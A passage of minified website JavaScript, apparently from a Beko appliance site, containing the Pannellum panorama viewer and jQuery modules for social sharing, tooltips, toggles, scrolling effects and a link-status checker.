j(){if(Z&&!fe)if(pe)t.exitFullscreen?t.exitFullscreen():t.mozCancelFullScreen?t.mozCancelFullScreen():t.webkitCancelFullScreen?t.webkitCancelFullScreen():t.msExitFullscreen&&t.msExitFullscreen();else try{n.requestFullscreen?n.requestFullscreen():n.mozRequestFullScreen?n.mozRequestFullScreen():n.msRequestFullscreen?n.msRequestFullscreen():n.webkitRequestFullScreen()}catch(e){}}function N(e){t.fullscreenElement||t.fullscreen||t.mozFullScreen||t.webkitIsFullScreen||t.msFullscreenElement?(Oe.fullscreen.classList.add("pnlm-fullscreen-toggle-button-active"),pe=!0):(Oe.fullscreen.classList.remove("pnlm-fullscreen-toggle-button-active"),pe=!1),"resize"!==e&&J("fullscreenchange",pe),K.resize(),H(G.hfov),C()}function R(e){var t=G.minHfov;if("multires"==G.type&&K&&!G.multiResMinHfov&&(t=Math.min(t,K.getCanvas().width/(G.multiRes.cubeResolution/90*.9))),t>G.maxHfov)return console.log("HFOV bounds do not make sense (minHfov > maxHfov)."),G.hfov;var i=G.hfov;return i=e<t?t:e>G.maxHfov?G.maxHfov:e,G.avoidShowingBackground&&K&&(e=K.getCanvas(),i=Math.min(i,360*Math.atan(Math.tan((G.maxPitch-G.minPitch)/360*Math.PI)/e.height*e.width)/Math.PI)),i}function H(e){G.hfov=R(e),J("zoomchange",G.hfov)}function F(){we={},be=G.autoRotate?G.autoRotate:be,G.autoRotate=!1}function B(){fe&&(Ae.load.box.style.display="none",Ae.errorMsg.style.display="none",fe=!1,De.style.display="block",J("errorcleared")),Z=!1,Oe.load.style.display="none",Ae.load.box.style.display="inline",s()}function U(e,t,n,s,a){var o,l;if(Z||(a=!0),Z=!1,we={},G.sceneFadeDuration&&!a&&(o=K.render(G.pitch*Math.PI/180,G.yaw*Math.PI/180,G.hfov*Math.PI/180,{returnImage:!0}))!==i)return(a=new Image).className="pnlm-fade-img",a.style.transition="opacity "+G.sceneFadeDuration/1e3+"s",a.style.width="100%",a.style.height="100%",a.onload=function(){U(e,t,n,s,!0)},a.src=o,De.appendChild(a),void(K.fadeImg=a);a="same"===t?G.pitch:t,o="same"===n?G.yaw:"sameAzimuth"===n?G.yaw+(G.northOffset||0)-(r.scenes[e].northOffset||0):n,l="same"===s?G.hfov:s,function(){var e=G.hotSpots;if(Me=!1,delete G.hotSpots,e)for(var t=0;t<e.length;t++){var i=e[t].div;if(i){for(;i.parentNode&&i.parentNode!=De;)i=i.parentNode;De.removeChild(i)}delete e[t].div}}(),Y(e),ge.yaw=ge.pitch=ge.hfov=0,$(),a!==i&&(G.pitch=a),o!==i&&(G.yaw=o),l!==i&&(G.hfov=l),J("scenechange",e),B()}function W(){e.removeEventListener("deviceorientation",P),Oe.orientation.classList.remove("pnlm-orientation-button-active"),ve=!1}function z(){ve=1,e.addEventListener("deviceorientation",P),Oe.orientation.classList.add("pnlm-orientation-button-active")}function q(e){return r.escapeHTML?String(e).split(/&/g).join("&amp;").split('"').join("&quot;").split("'").join("&#39;").split("<").join("&lt;").split(">").join("&gt;").split("/").join("&#x2f;").split("\n").join("<br>"):String(e).split("\n").join("<br>")}function V(e){return 0===e.trim().toLowerCase().indexOf("javascript:")?"about:blank":e}function J(e){if(e in Te)for(var t=Te[e].length;0<t;t--)Te[e][Te[e].length-t].apply(null,[].slice.call(arguments,1))}var G,K,X,Z,Q,ee,te,ie,ne,re=this,se=!1,ae=Date.now(),oe=0,le=0,ue=-1,ce=0,de=0,he=Array(10),pe=!1,fe=!1,me=!1,ge={yaw:0,pitch:0,hfov:0},_e=!1,ve=!1,ye=0,be=0,we={},Te={},ke=[],Se=!1,Me=!1,xe=!1,Le={hfov:100,minHfov:50,multiResMinHfov:!1,maxHfov:120,pitch:0,minPitch:i,maxPitch:i,yaw:0,minYaw:-180,maxYaw:180,roll:0,haov:360,vaov:180,vOffset:0,autoRotate:!1,autoRotateInactivityDelay:-1,autoRotateStopDelay:i,type:"equirectangular",northOffset:0,showFullscreenCtrl:!0,dynamic:!1,dynamicUpdate:!1,doubleClickZoom:!0,keyboardZoom:!0,mouseZoom:!0,showZoomCtrl:!0,autoLoad:!1,showControls:!0,orientationOnByDefault:!1,hotSpotDebug:!1,backgroundColor:[0,0,0],avoidShowingBackground:!1,animationTimingFunction:function(e){return.5>e?2*e*e:(4-2*e)*e-1},draggable:!0,disableKeyboardCtrl:!1,crossOrigin:"anonymous",touchPanSpeedCoeffFactor:1,capturedKeyNumbers:[16,17,27,37,38,39,40,61,65,68,83,87,107,109,173,187,189],friction:.15,strings:{loadButtonLabel:"Click to<br>Load<br>Panorama",loadingLabel:"Loading...",bylineLabel:"by %s",noPanoramaError:"No panorama image was specified.",fileAccessError:"The file %s could not be accessed.",malformedURLError:"There is something wrong with the panorama URL.",iOS8WebGLError:"Due to iOS 8's broken WebGL implementation, only progressive encoded JPEGs work for your device (this panorama uses standard encoding).",genericWebGLError:"Your browser does not have the necessary WebGL support to display this panorama.",textureSizeError:"This panorama is too big for your device! It's %spx wide, but your device only supports images up to %spx wide. Try another device. (If you're the author, try scaling down the image.)",unknownError:"Unknown error. Check developer console."}};(n="string"==typeof n?t.getElementById(n):n).classList.add("pnlm-container"),n.tabIndex=0;var Ce=t.createElement("div");Ce.className="pnlm-ui",n.appendChild(Ce);var De=t.createElement("div");De.className="pnlm-render-container",n.appendChild(De);var Ee=t.createElement("div");Ee.className="pnlm-dragfix",Ce.appendChild(Ee);var Pe=t.createElement("span");Pe.className="pnlm-about-msg",Pe.innerHTML='<a href="https://pannellum.org/" target="_blank">Pannellum</a> 2.5.4',Ce.appendChild(Pe),Ee.addEventListener("contextmenu",(function e(t){var i=u(t);Pe.style.left=i.x+"px",Pe.style.top=i.y+"px",clearTimeout(e.t1),clearTimeout(e.t2),Pe.style.display="block",Pe.style.opacity=1,e.t1=setTimeout((function(){Pe.style.opacity=0}),2e3),e.t2=setTimeout((function(){Pe.style.display="none"}),2500),t.preventDefault()}));var Ae={},Ie=t.createElement("div");Ie.className="pnlm-sprite pnlm-hot-spot-debug-indicator",Ce.appendChild(Ie),Ae.container=t.createElement("div"),Ae.container.className="pnlm-panorama-info",Ae.title=t.createElement("div"),Ae.title.className="pnlm-title-box",Ae.container.appendChild(Ae.title),Ae.author=t.createElement("div"),Ae.author.className="pnlm-author-box",Ae.container.appendChild(Ae.author),Ce.appendChild(Ae.container),Ae.load={},Ae.load.box=t.createElement("div"),Ae.load.box.className="pnlm-load-box",Ae.load.boxp=t.createElement("p"),Ae.load.box.appendChild(Ae.load.boxp),Ae.load.lbox=t.createElement("div"),Ae.load.lbox.className="pnlm-lbox",Ae.load.lbox.innerHTML='<div class="pnlm-loading"></div>',Ae.load.box.appendChild(Ae.load.lbox),Ae.load.lbar=t.createElement("div"),Ae.load.lbar.className="pnlm-lbar",Ae.load.lbarFill=t.createElement("div"),Ae.load.lbarFill.className="pnlm-lbar-fill",Ae.load.lbar.appendChild(Ae.load.lbarFill),Ae.load.box.appendChild(Ae.load.lbar),Ae.load.msg=t.createElement("p"),Ae.load.msg.className="pnlm-lmsg",Ae.load.box.appendChild(Ae.load.msg),Ce.appendChild(Ae.load.box),Ae.errorMsg=t.createElement("div"),Ae.errorMsg.className="pnlm-error-msg pnlm-info-box",Ce.appendChild(Ae.errorMsg);var Oe={};Oe.container=t.createElement("div"),Oe.container.className="pnlm-controls-container",Ce.appendChild(Oe.container),Oe.load=t.createElement("div"),Oe.load.className="pnlm-load-button",Oe.load.addEventListener("click",(function(){$(),B()})),Ce.appendChild(Oe.load),Oe.zoom=t.createElement("div"),Oe.zoom.className="pnlm-zoom-controls pnlm-controls",Oe.zoomIn=t.createElement("div"),Oe.zoomIn.className="pnlm-zoom-in pnlm-sprite pnlm-control",Oe.zoomIn.addEventListener("click",(function(){Z&&(H(G.hfov-5),C())})),Oe.zoom.appendChild(Oe.zoomIn),Oe.zoomOut=t.createElement("div"),Oe.zoomOut.className="pnlm-zoom-out pnlm-sprite pnlm-control",Oe.zoomOut.addEventListener("click",(function(){Z&&(H(G.hfov+5),C())})),Oe.zoom.appendChild(Oe.zoomOut),Oe.container.appendChild(Oe.zoom),Oe.fullscreen=t.createElement("div"),Oe.fullscreen.addEventListener("click",j),Oe.fullscreen.className="pnlm-fullscreen-toggle-button pnlm-sprite pnlm-fullscreen-toggle-button-inactive pnlm-controls pnlm-control",(t.fullscreenEnabled||t.mozFullScreenEnabled||t.webkitFullscreenEnabled||t.msFullscreenEnabled)&&Oe.container.appendChild(Oe.fullscreen),Oe.orientation=t.createElement("div"),Oe.orientation.addEventListener("click",(function(e){ve?W():z()})),Oe.orientation.addEventListener("mousedown",(function(e){e.stopPropagation()})),Oe.orientation.addEventListener("touchstart",(function(e){e.stopPropagation()})),Oe.orientation.addEventListener("pointerdown",(function(e){e.stopPropagation()})),Oe.orientation.className="pnlm-orientation-button pnlm-orientation-button-inactive pnlm-sprite pnlm-controls pnlm-control";var Ye,$e=!1;e.DeviceOrientationEvent?e.addEventListener("deviceorientation",(function t(i){e.removeEventListener("deviceorientation",t),i&&null!==i.alpha&&null!==i.beta&&null!==i.gamma?(Oe.container.appendChild(Oe.orientation),Ye=!0,$e&&z()):Ye=!1})):Ye=!1;var je=t.createElement("div");je.className="pnlm-compass pnlm-controls pnlm-control",Ce.appendChild(je),r.firstScene?Y(r.firstScene):r.default&&r.default.firstScene?Y(r.default.firstScene):Y(null),$(!0);var Ne=[],Re=[];E.prototype.multiply=function(e){return new E(this.w*e.w-this.x*e.x-this.y*e.y-this.z*e.z,this.x*e.w+this.w*e.x+this.y*e.z-this.z*e.y,this.y*e.w+this.w*e.y+this.z*e.x-this.x*e.z,this.z*e.w+this.w*e.z+this.x*e.y-this.y*e.x)},E.prototype.toEulerAngles=function(){return[Math.atan2(2*(this.w*this.x+this.y*this.z),1-2*(this.x*this.x+this.y*this.y)),Math.asin(2*(this.w*this.y-this.z*this.x)),Math.atan2(2*(this.w*this.z+this.x*this.y),1-2*(this.y*this.y+this.z*this.z))]},this.isLoaded=function(){return Boolean(Z)},this.getPitch=function(){return G.pitch},this.setPitch=function(e,t,n,r){return ae=Date.now(),1e-6>=Math.abs(e-G.pitch)?("function"==typeof n&&n(r),this):((t=t==i?1e3:Number(t))?(we.pitch={startTime:Date.now(),startPosition:G.pitch,endPosition:e,duration:t},"function"==typeof n&&setTimeout((function(){n(r)}),t)):G.pitch=e,C(),this)},this.getPitchBounds=function(){return[G.minPitch,G.maxPitch]},this.setPitchBounds=function(e){return G.minPitch=Math.max(-90,Math.min(e[0],90)),G.maxPitch=Math.max(-90,Math.min(e[1],90)),this},this.getYaw=function(){return G.yaw},this.setYaw=function(e,t,n,r){return ae=Date.now(),1e-6>=Math.abs(e-G.yaw)?("function"==typeof n&&n(r),this):(e=(e+180)%360-180,(t=t==i?1e3:Number(t))?(180<G.yaw-e?e+=360:180<e-G.yaw&&(e-=360),we.yaw={startTime:Date.now(),startPosition:G.yaw,endPosition:e,duration:t},"function"==typeof n&&setTimeout((function(){n(r)}),t)):G.yaw=e,C(),this)},this.getYawBounds=function(){return[G.minYaw,G.maxYaw]},this.setYawBounds=function(e){return G.minYaw=Math.max(-180,Math.min(e[0],180)),G.maxYaw=Math.max(-180,Math.min(e[1],180)),this},this.getHfov=function(){return G.hfov},this.setHfov=function(e,t,n,r){return ae=Date.now(),1e-6>=Math.abs(e-G.hfov)?("function"==typeof n&&n(r),this):((t=t==i?1e3:Number(t))?(we.hfov={startTime:Date.now(),startPosition:G.hfov,endPosition:R(e),duration:t},"function"==typeof n&&setTimeout((function(){n(r)}),t)):H(e),C(),this)},this.getHfovBounds=function(){return[G.minHfov,G.maxHfov]},this.setHfovBounds=function(e){return G.minHfov=Math.max(0,e[0]),G.maxHfov=Math.max(0,e[1]),this},this.lookAt=function(e,t,n,r,s,a){return r=r==i?1e3:Number(r),e!==i&&1e-6<Math.abs(e-G.pitch)&&(this.setPitch(e,r,s,a),s=i),t!==i&&1e-6<Math.abs(t-G.yaw)&&(this.setYaw(t,r,s,a),s=i),n!==i&&1e-6<Math.abs(n-G.hfov)&&(this.setHfov(n,r,s,a),s=i),"function"==typeof s&&s(a),this},this.getNorthOffset=function(){return G.northOffset},this.setNorthOffset=function(e){return G.northOffset=Math.min(360,Math.max(0,e)),C(),this},this.getHorizonRoll=function(){return G.horizonRoll},this.setHorizonRoll=function(e){return G.horizonRoll=Math.min(90,Math.max(-90,e)),K.setPose(G.horizonPitch*Math.PI/180,G.horizonRoll*Math.PI/180),C(),this},this.getHorizonPitch=function(){return G.horizonPitch},this.setHorizonPitch=function(e){return G.horizonPitch=Math.min(90,Math.max(-90,e)),K.setPose(G.horizonPitch*Math.PI/180,G.horizonRoll*Math.PI/180),C(),this},this.startAutoRotate=function(e,t){return e=e||be||1,t=t===i?ne:t,G.autoRotate=e,re.lookAt(t,i,ie,3e3),C(),this},this.stopAutoRotate=function(){return be=G.autoRotate?G.autoRotate:be,G.autoRotate=!1,G.autoRotateInactivityDelay=-1,this},this.stopMovement=function(){F(),ge={yaw:0,pitch:0,hfov:0}},this.getRenderer=function(){return K},this.setUpdate=function(e){return Se=!0===e,K===i?o():C(),this},this.mouseEventToCoords=function(e){return h(e)},this.loadScene=function(e,t,i,n){return!1!==Z&&U(e,t,i,n),this},this.getScene=function(){return G.scene},this.addScene=function(e,t){return r.scenes[e]=t,this},this.removeScene=function(e){return!(G.scene===e||!r.scenes.hasOwnProperty(e)||(delete r.scenes[e],0))},this.toggleFullscreen=function(){return j(),this},this.getConfig=function(){return G},this.getContainer=function(){return n},this.addHotSpot=function(e,t){if(t===i&&G.scene===i)G.hotSpots.push(e);else{var n=t!==i?t:G.scene;if(!r.scenes.hasOwnProperty(n))throw"Invalid scene ID!";r.scenes[n].hasOwnProperty("hotSpots")||(r.scenes[n].hotSpots=[],n==G.scene&&(G.hotSpots=r.scenes[n].hotSpots)),r.scenes[n].hotSpots.push(e)}return t!==i&&G.scene!=t||(I(e),Z&&O(e)),this},this.removeHotSpot=function(e,t){if(t===i||G.scene==t){if(!G.hotSpots)return!1;for(var n=0;n<G.hotSpots.length;n++)if(G.hotSpots[n].hasOwnProperty("id")&&G.hotSpots[n].id===e){for(var s=G.hotSpots[n].div;s.parentNode!=De;)s=s.parentNode;return De.removeChild(s),delete G.hotSpots[n].div,G.hotSpots.splice(n,1),!0}}else{if(!r.scenes.hasOwnProperty(t))return!1;if(!r.scenes[t].hasOwnProperty("hotSpots"))return!1;for(n=0;n<r.scenes[t].hotSpots.length;n++)if(r.scenes[t].hotSpots[n].hasOwnProperty("id")&&r.scenes[t].hotSpots[n].id===e)return r.scenes[t].hotSpots.splice(n,1),!0}},this.resize=function(){K&&L()},this.isLoaded=function(){return Z},this.isOrientationSupported=function(){return Ye||!1},this.stopOrientation=function(){W()},this.startOrientation=function(){Ye&&z()},this.isOrientationActive=function(){return Boolean(ve)},this.on=function(e,t){return Te[e]=Te[e]||[],Te[e].push(t),this},this.off=function(e,t){if(!e)return Te={},this;if(t){var i=Te[e].indexOf(t);0<=i&&Te[e].splice(i,1),0==Te[e].length&&delete Te[e]}else delete Te[e];return this},this.destroy=function(){xe=!0,clearTimeout(te),K&&K.destroy(),me&&(t.removeEventListener("mousemove",p,!1),t.removeEventListener("mouseup",f,!1),n.removeEventListener("mozfullscreenchange",N,!1),n.removeEventListener("webkitfullscreenchange",N,!1),n.removeEventListener("msfullscreenchange",N,!1),n.removeEventListener("fullscreenchange",N,!1),e.removeEventListener("resize",L,!1),e.removeEventListener("orientationchange",L,!1),n.removeEventListener("keydown",T,!1),n.removeEventListener("keyup",S,!1),n.removeEventListener("blur",k,!1),t.removeEventListener("mouseleave",f,!1)),n.innerHTML="",n.classList.remove("pnlm-container")}}return{viewer:function(e,t){return new n(e,t)}}}(window,document)},2356:()=>{let e=!1;const t=()=>{if(!$("#pdp-overlay")[0])return;const t=window.pageYOffset||document.documentElement.scrollTop,i=$("#pdp-waypoint-overlay");i[0]&&(t>i.offset().top?e||(e=!0,$("#pdp-overlay").addClass("active")):e&&(e=!1,$("#pdp-overlay").removeClass("active")),t+$(window).height()>$("#footer").offset().top?$("#pdp-overlay").addClass("close"):$("#pdp-overlay").removeClass("close"))};$(document).ready(t),window.addEventListener("scroll",t)},86520:()=>{$(document).on("click",".JS-recaptcha-btn",(function(e){0===window.grecaptcha.getResponse().length&&(e.stopImmediatePropagation(),e.preventDefault(),e.stopPropagation())}))},72054:()=>{const e=function(e){const{scrollLeft:t}=e.target,i=$(this).data("scroller-group");$('[data-scroller-group="'+i+'"]').scrollLeft(t)};$(document).ready((function(){$(".JS-scroller").on("scroll",e)}))},44936:()=>{$(document).ready((function(){$(".searchResultsTabs").children().not(":first").hide(),$(".searchTab").each((function(){$(this).click((function(){const e=$(this).attr("data-tabname"),t=$(".searchResultsTabs").find('[data-tab="'.concat(e,'"]'));$(this).parents().find(".searchTab").removeClass("active"),$(this).addClass("active"),t.siblings().hide(),t.show()}))}))}))},97917:()=>{const e=(e,t)=>{const i=e.data("attr"),n=e.data("value");t.attr("data-".concat(i),n)};$(document).on("click",".JS-set-data-button",(function(){const t=$(this).data("target-id");if(t)return void e($(this),$("#".concat(t)));const i=$(this).data("target-class"),n=".".concat(i);$(this).parents().each((function(){if($(this).hasClass(i))return e($(this),$(this)),!1;const t=$(this).children(n);return 0===t.length||(e($(this),t),!1)}))})),$(document).on("mouseleave",".JS-reset-data-mouse-leave",(function(){const e=$(this).data("attr");$(this).attr("data-".concat(e),"")}))},79854:()=>{{const e="fb-messenger://share/?link=",t="&app_id=140586622674265",i="whatsapp://send?text=",n="https://t.me/share/url?url=",r="https://twitter.com/intent/tweet?url=",s="https://www.facebook.com/sharer/sharer.php?u=",a="https://pinterest.com/pin/create/link/?url=",o="/content/dam/bekoglobal/beko-logo-blue.svg",l="https://vk.com/share.php?url=",u="https://connect.ok.ru/offer?url=",c="&description=",d="mailTo:?",h="subject=";let p="",f="";const m=()=>{_(),b(),g(),k(),M(),D(),T(),w(),y(),x(),L(),C(),S()},g=()=>{$(".ButtonIcon__FbDesktop").length||$(".ButtonIcon__FbMobile").detach(),$(".ButtonIcon__TwDesktop").length||$(".ButtonIcon__TwMobile").detach(),$(".ButtonIcon__PrDesktop").length||$(".ButtonIcon__PrMobile").detach(),$(".ButtonIcon__MailDesktop").length||$(".ButtonIcon__MailMobile").detach(),$(".ButtonIcon__WhatsappDesktop").length||$(".ButtonIcon__WhatsappMobile").detach(),$(".ButtonIcon__MessengerDesktop").length||$(".ButtonIcon__MessengerMobile").detach(),$(".ButtonIcon__CopyToClipboardDesktop").length||$(".ButtonIcon__CopyToClipboardMobile").detach(),$(".ButtonIcon__TelegramDesktop").length||$(".ButtonIcon__TelegramMobile").detach(),$(".ButtonIcon__VkDesktop").length||$(".ButtonIcon__VkMobile").detach(),$(".ButtonIcon__OkDesktop").length||$(".ButtonIcon__OkMobile").detach()},_=()=>{const e=$(".pageTitle").text();f=e||document.title},v=()=>{const e=$("[data-page-main-image]"),t="&media="+location.origin;return e.length<=0?t+o:t+$(e.get(0)).data("pageMainImage")},y=()=>{const e=a+$(location).attr("href")+p+v()+c+f;$(".ButtonIcon__sharePr").attr("href",e)},b=()=>{let e=$(".anchor").text();e.length>1&&(p="%23waypoint__"+e)},w=()=>{const e=s+$(location).attr("href")+p;$(".ButtonIcon__shareFb").attr("href",e)},T=()=>{const e=r+$(location).attr("href")+p;$(".ButtonIcon__shareTw").attr("href",e)},k=()=>{const i=e+$(location).attr("href")+p+t;$(".ButtonShare_Messenger").attr("href",i)},S=()=>{$(".ButtonShare_CopyToClipboard").click((()=>{let e=document.location.href;navigator.clipboard.writeText(e)}))},M=()=>{const e=i+$(location).attr("href")+p;$(".ButtonShare_Whatsapp").attr("href",e)},x=()=>{const e=n+$(location).attr("href")+p;$(".ButtonShare_Telegram").attr("href",e)},L=()=>{const e=l+$(location).attr("href")+p;$(".ButtonShare_Vk").attr("href",e)},C=()=>{const e=u+$(location).attr("href")+p;$(".ButtonShare_Ok").attr("href",e)},D=()=>{const e=d+h+f+"&body="+$(location).attr("href")+p;$(".ButtonIcon__shareMail").attr("href",e)};$(document).ready((function(){$(".socialShare").length&&m()}))}},29137:()=>{const e=()=>{const e=$(".JS-side-scroll-item");if(!e[0])return;var t=$(".ScrollableSections__scrollableSection:first").offset(),i=$(window).height()-t.top-60*$(".ScrollableSections__scrollableSection").length;const n=$(".JS-side-scroll-anchor"),r=$(window).scrollTop(),s=$(window).height(),a=e.data("side-scroll-item-margin")+(e.data("side-scroll-item-height")||e.height());let o=null,l=null;if(n.each((function(t){const n=((e,t,n)=>i+(t.length-e-1)*n)(t,e,a),u=$(this).offset().top-r;if(s-n<=u+60*$(".ScrollableSections__scrollableSection").length)$(e[t]).css({position:"fixed",top:"auto",bottom:n}),$(e[t]).find(".ScrollableSections__sideNavP").hide();else{$(e[t]).find(".ScrollableSections__sideNavP").show();const i=90+t*a,r=$(e[t]);o=r,l=n,i>u?r.css({position:"fixed",top:i,bottom:""}):r.css({position:"",top:"",bottom:""})}})),o){o.hasClass("active")||(e.removeClass("active"),o.addClass("active"));const t=s-l-(o.offset().top-r)>200;o.hasClass("withText")?t||o.removeClass("withText"):t&&(e.removeClass("withText"),o.addClass("withText"))}};$(document).ready(e),window.onload(e),e(),window.addEventListener("scroll",e)},69908:()=>{const e=".JS-animate-opacity",t=function(){const t=$(this),i=function(e){const t=e.data("anim-opacity-interval"),i=e.data("anim-opacity-interval");if(window.innerWidth>768&&i)return i;if(t)return t;const n=e.children().length>1?":eq(1)":":eq(0)";return e.children(n).outerWidth(!0)}(t),n=(t.scrollLeft()/i).toFixed(2),r=Math.floor(n),s=1-(n-r).toFixed(2);$(t.children()[r]).find(e).css("opacity",s)},i=function(){const t=$(this),i=t.find(".JS-table-cell:eq(0)").width(),n=(t.scrollLeft()/i).toFixed(2),r=Math.floor(n),s=1-(1.5*(n-r)).toFixed(2),a=e+":eq("+r+")";t.find(".JS-table-row").each((function(){$(this).find(a).css("opacity",s)}))};$(document).ready((function(){$(".JS-slider-animation-opacity").on("scroll",t),$(".JS-table-animation-opacity").on("scroll",i)}))},64831:()=>{$(document).ready((()=>{const e=$("#statusCodeListData");if(e.length){const t=e.data("publishPage");if(t)return void(window.location=t);$("#statusCodeListDataContainer").removeClass("hide");const i=$("#taskStatus"),n=$("#statusResults");let r,s=0;const a=()=>{i.text("".concat(s," / ").concat(r)),s===r&&(i.append(" ✔️Completed!"),$("#taskMessage").hide())},o=async e=>{e.map((async e=>{try{const t=await fetch("".concat(e),{redirect:"manual",cache:"no-store",method:"HEAD"});2!==Math.floor(t.status/100)&&n.append("<li>".concat(0===t.status?"3xx":t.status," - ").concat(t.url,"</li>"))}catch(t){console.error(t),n.append("<li>Failed to fetch - ".concat(e,"</li>"))}s++,a()}))};(()=>{const t=e.data("pagePath");r=t.length;const i=Math.round(r/5)+1;for(let e=0,n=5;e<n;e++)o(t.slice(e*i,(e+1)*i))})()}}))},90539:()=>{!function(){"use strict";if("undefined"!=typeof window&&window.addEventListener){var e,t,i,n=Object.create(null),r=function(){clearTimeout(t),t=setTimeout(e,100)},s=function(){},a=function(e){function t(e){var t;return void 0!==e.protocol?t=e:(t=document.createElement("a")).href=e,filterXSS(t.protocol.replace(/:/g,"")+t.host)}var i,n,r;return window.XMLHttpRequest&&(i=new XMLHttpRequest,n=t(location),r=t(e),i=void 0===i.withCredentials&&""!==r&&r!==n?XDomainRequest||void 0:XMLHttpRequest),i},o="http://www.w3.org/1999/xlink";e=function(){var e,t,i,l,u,c,d,h,p,f,m=0;function g(){var e;0==(m-=1)&&(s(),window.addEventListener("resize",r,!1),window.addEventListener("orientationchange",r,!1),window.MutationObserver?((e=new MutationObserver(r)).observe(document.documentElement,{childList:!0,subtree:!0,attributes:!0}),s=function(){try{e.disconnect(),window.removeEventListener("resize",r,!1),window.removeEventListener("orientationchange",r,!1)}catch(e){}}):(document.documentElement.addEventListener("DOMSubtreeModified",r,!1),s=function(){document.documentElement.removeEventListener("DOMSubtreeModified",r,!1),window.removeEventListener("resize",r,!1),window.removeEventListener("orientationchange",r,!1)}))}function _(e){return function(){!0!==n[e.base]&&(e.useEl.setAttributeNS(o,"xlink:href","#"+e.hash),e.useEl.hasAttribute("href")&&e.useEl.setAttribute("href","#"+e.hash))}}function v(e){return function(){var t,i=document.body,n=document.createElement("x");e.onload=null,n.innerHTML=e.responseText,(t=n.getElementsByTagName("svg")[0])&&(t.setAttribute("aria-hidden","true"),t.style.position="absolute",t.style.width=0,t.style.height=0,t.style.overflow="hidden",i.insertBefore(t,i.firstChild)),g()}}function y(e){return function(){e.onerror=null,e.ontimeout=null,g()}}for(s(),p=document.getElementsByTagName("use"),u=0;u<p.length;u+=1){try{t=p[u].getBoundingClientRect()}catch(e){t=!1}e=(h=(l=p[u].getAttribute("href")||p[u].getAttributeNS(o,"href")||p[u].getAttribute("xlink:href"))&&l.split?l.split("#"):["",""])[0],i=h[1],c=t&&0===t.left&&0===t.right&&0===t.top&&0===t.bottom,t&&0===t.width&&0===t.height&&!c?(p[u].hasAttribute("href")&&p[u].setAttributeNS(o,"xlink:href",l),e.length&&(!0!==(f=n[e])&&setTimeout(_({useEl:p[u],base:e,hash:i}),0),void 0===f&&void 0!==(d=a(e))&&(f=new d,n[e]=f,f.onload=v(f),f.onerror=y(f),f.ontimeout=y(f),f.open("GET",e),f.send(),m+=1))):c?e.length&&n[e]&&setTimeout(_({useEl:p[u],base:e,hash:i}),0):void 0===n[e]?n[e]=!0:n[e].onload&&(n[e].abort(),delete n[e].onload,n[e]=!0)}p="",m+=1,g()},i=function(){window.removeEventListener("load",i,!1),t=setTimeout(e,0)},"complete"!==document.readyState?window.addEventListener("load",i,!1):i()}}()},33526:()=>{$(document).on("mouseleave",".JS-switchOff-mouse-leave",(function(){const e=$(this).data("toggle-class");$(this).removeClass(e)})),$(document).on("mouseleave",".JS-switchOn-mouse-leave",(function(){const e=$(this).data("toggle-class");$(this).addClass(e)}))},99070:()=>{(()=>{const e=e=>e?e="..."==e.substr(e.length-3)?e.slice(0,-4).trim()+"...":e.slice(0,-1).trim()+"...":"",t=e=>e.outerHeight()/parseInt(e.css("line-height")),i=()=>{$(".JS-three-line-limit").each((function(){const i=$(this),n=i.attr("title");var r=n,s=t(i);if($(window).width()<=768)i.text(n);else{for(s<=2&&(i.text(n),r=e(n),i.attr("current-text",n));s>3;)r=e(r),i.text(r),s=t(i),i.attr("current-text",r);(t=>{const i=t.attr("current-text");if(!i)return;const n=i.split(" ").map((i=>{let n=document.createElement("span");n.appendChild(document.createTextNode(i)),n.style.display="inline-block",n.classList.add("ProductSpecBox__titleForCalculation"),document.body.appendChild(n);let r=n.offsetWidth;for(;r>t.outerWidth();)n.innerHTML=e(n.textContent),r=n.offsetWidth;return $(n).remove(),n.textContent})).join(" ");t.text(n)})(i)}}))};i(),$(window).resize((function(){i()})),$(".JS-three-line-limit").each((function(){$(this).hover((function(){var e=$(this).attr("title");$(this).data("tipText",e).removeAttr("title"),$('<p class="SpecBoxTooltip"></p>').text(e).appendTo("body").fadeIn("slow")}),(function(){$(this).attr("title",$(this).data("tipText")),$(".SpecBoxTooltip").remove()})).mousemove((function(e){var t=e.pageX+20,i=e.pageY+10;$(".SpecBoxTooltip").css({top:i,left:t})}))})),$(".js-tooltip-modal").each((function(){$(this).hover((function(){var e=$(this).attr("title");$(this).data("tipText",e).removeAttr("title"),$('<p class="SpecBoxTooltip"></p>').text(e).appendTo("body").fadeIn("slow")}),(function(){$(this).attr("title",$(this).data("tipText")),$(".SpecBoxTooltip").remove()})).mousemove((function(e){var t=e.pageX+20,i=e.pageY+10;$(".SpecBoxTooltip").css({top:i,left:t})}))}));const n={childList:!0},r=new MutationObserver((function(e,t){for(let t of e)"childList"===t.type&&i()})),s=document.getElementById("productCardContainer");s&&r.observe(s,n);const a=$(".JS-wish-list-items-container");a.length>0&&r.observe(a[0],n)})(),$(document).ready((function(){$(".image-tooltip").wrap('<div class="alt-wrap"/>'),$(".image-tooltip").each((function(){$(this).attr("src",$(this).data("img")),$(this).after('<p class="alt-images">'+$(this).attr("alt")+"</p>")}))}))},89338:()=>{const e=e=>{const t=e.data("toggle-class");e.toggleClass(t)},t="click";function i(){const t=$(this).data("target-id");if(t)return void e($("#".concat(t)));const i=$(this).data("target-class")||"JS-toggle",n=".".concat(i);$(this).parents().each((function(){if($(this).hasClass(i))return e($(this)),!1;const t=$(this).children(n);return 0===t.length||(e(t),!1)}))}$(document).on(t,".JS-toggle-button",i),$(document).on(t,".JS-open",(function(){const e=$(this).data("open-target-id");$("#".concat(e)).addClass("active")})),$(document).on(t,".JS-close",(function(){const e=$(this).data("close-target-id");$("#".concat(e)).removeClass("active")})),$(document).on(t,".JS-open-me",(function(){$(this).addClass("opened")})),$(document).on("input",".JS-toggle-input",(function(){const e=this.val;this.val=$(this).val(),(!e&&this.val||e&&""===this.val)&&i.call(this)}))},87424:()=>{$(document).on("click",".JS-toggle-differences",(function(){const e=$(this);e.closest(".JS-collapse-group").toggleClass("collapseEqual"),e.toggleClass("active")})),$(document).on("click",".JS-toggle-group",(function(){const t=$(this),i=t.data("collapse-group");$(".JS-collapse-"+i).toggleClass("collapseEqual"),t.toggleClass("active"),"compare"===i&&function(e){const t=$(".JS-compare-products-container");e?$.each(t,(function(e,t){const i=$(t);i.find(".JS-compare-product").not(".JS-collapse-compare").length<=0&&i.hide()})):t.show()}(t.hasClass("active"))}))},91109:()=>{$(document).on("click",".JS-button-group",(function(){const e=$(this);e.parent().find(".JS-button-group").removeClass("active"),e.addClass("active")})),$(document).on("click",".JS-button-group-deep-2",(function(){const 